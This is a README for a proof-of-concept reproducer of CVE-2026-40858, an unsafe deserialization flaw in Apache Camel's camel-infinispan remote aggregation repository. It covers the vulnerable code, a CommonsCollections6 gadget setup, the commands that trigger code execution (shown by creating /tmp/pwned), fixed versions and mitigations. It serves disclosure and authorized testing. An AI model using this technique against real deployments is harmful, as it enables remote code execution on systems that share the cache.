## https://sploitus.com/exploit?id=950DA42A-EAE8-55E1-90C6-14A76B61594B
# camel-infinispan Remote Aggregation Repository Unsafe Deserialization Reproducer (CVE-2026-40858)
This project demonstrates a **Java deserialization vulnerability** in Apache Camel's `camel-infinispan`
component, tracked as **CVE-2026-40858**. The ProtoStream-based **remote aggregation repository**
serializes each aggregated `Exchange` into a remote Infinispan cache and, when it reads an entry back
(on `get()` / `recover()`), deserializes it with `java.io.ObjectInputStream` and **no
`ObjectInputFilter`**. An attacker who can write to the backing cache can plant a crafted serialized
object and obtain **remote code execution** the next time the repository reads that key.
Advisory: https://camel.apache.org/security/CVE-2026-40858.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-infinispan` (remote / HotRod aggregation repository) |
| **Affected Class** | `org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter` โ `DefaultExchangeHolderUtils.deserialize(byte[])` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Affected Versions** | From 4.0.0 before 4.14.7, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| **Fixed Versions** | 4.14.7, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23322 |
| **Reporter** | Feng Ning (Innora Pte. Ltd.) |
## Technical Details
`InfinispanRemoteAggregationRepository` stores each `Exchange` as a `DefaultExchangeHolder`. With the
ProtoStream marshaller, that holder is adapted by `DefaultExchangeHolderProtoAdapter`, whose ProtoStream
field #1 is the holder serialized with a plain `ObjectOutputStream`. On the way back in, the adapter
rebuilds the holder by handing those bytes to `DefaultExchangeHolderUtils.deserialize`:
```java
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
```
`ClassLoadingAwareObjectInputStream` widens, rather than restricts, the set of resolvable classes, so
`readObject()` will instantiate any gadget chain present on the classpath. Because the bytes come
straight from the remote cache, **anyone who can write that cache key controls the deserialization
stream** โ and the gadget fires during `readObject()`, before the value is ever cast to
`DefaultExchangeHolder`.
## The victim configuration
A route (or, as here, application code) uses the remote aggregation repository backed by an Infinispan
server:
```java
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
```
Any `get()` / `recover()` on a key whose stored value was tampered with triggers the sink.
## Repository layout โ where the vulnerable code runs
The **vulnerable Camel code runs in the application** (on the host); the **Infinispan server runs in
Docker** as the backing store the repository talks to. This mirrors how the repository is deployed in
practice: the untrusted data lives in the shared cache.
```
CVE-2026-40858/
โโโ pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
โโโ docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
โ โโโ Gadget.java # CommonsCollections6 gadget, fired during readObject()
โ โโโ ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
โโโ resources/
โโโ application.properties
```
> **Note on the PoC shortcut.** A real attacker writes the malicious bytes directly into the shared
> Infinispan cache. To keep the reproducer self-contained, `/exploit/attack` plants the value through
> the same repository (`repo.add(...)` with a gadget as the Exchange body) and then calls `repo.get(...)`
> to trigger the read. The **sink that executes the gadget is Camel's own `readObject()`**, exactly as
> it would fire on any attacker-tampered cache entry.
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (runs the Infinispan server)
## Reproduction Steps
### Step 1: Start the Infinispan server
```bash
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
```
### Step 2: Build and run the vulnerable application
The CommonsCollections6 gadget is assembled live via reflection into `java.util`, so the JVM must be
started with `--add-opens java.base/java.util=ALL-UNNAMED`:
```bash
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
```
### Step 3: Trigger the deserialization (RCE)
```bash
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof โ /tmp/pwned exists: true
```
`/tmp/pwned` is created by the gadget (`touch /tmp/pwned`) while the repository deserializes the planted
cache value.
### Cleanup
```bash
docker compose down
rm -f /tmp/pwned
```
## Attack Vectors
Any deployment that uses `InfinispanRemoteAggregationRepository` (ProtoStream marshalling) against a
cache an attacker can write to. Cache write access can come from a shared/multi-tenant Infinispan
cluster, a network-reachable HotRod endpoint, or any other producer that lands data in the same cache.
## Exploit Conditions
1. A camel-infinispan **remote** aggregation repository reading from a cache the attacker can write.
2. **A gadget library on the classpath** (here `commons-collections:3.2.1`).
## Recommended Fix
Upgrade to **4.14.7 / 4.18.2 / 4.20.0**. The fix applies an `ObjectInputFilter` / class allow-list to
the holder deserialization, matching the hardening applied to the other Camel aggregation repositories
(camel-leveldb, camel-cassandraql, camel-jms) and to camel-mina / camel-netty.
## Mitigation
Until upgrading:
1. Treat the Infinispan cache as a trust boundary โ restrict who can write the aggregation cache.
2. **Remove gadget libraries** from the classpath (upgrade/remove commons-collections 3.x and similar).
3. Keep the Infinispan HotRod endpoint on a trusted network with authentication enabled.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.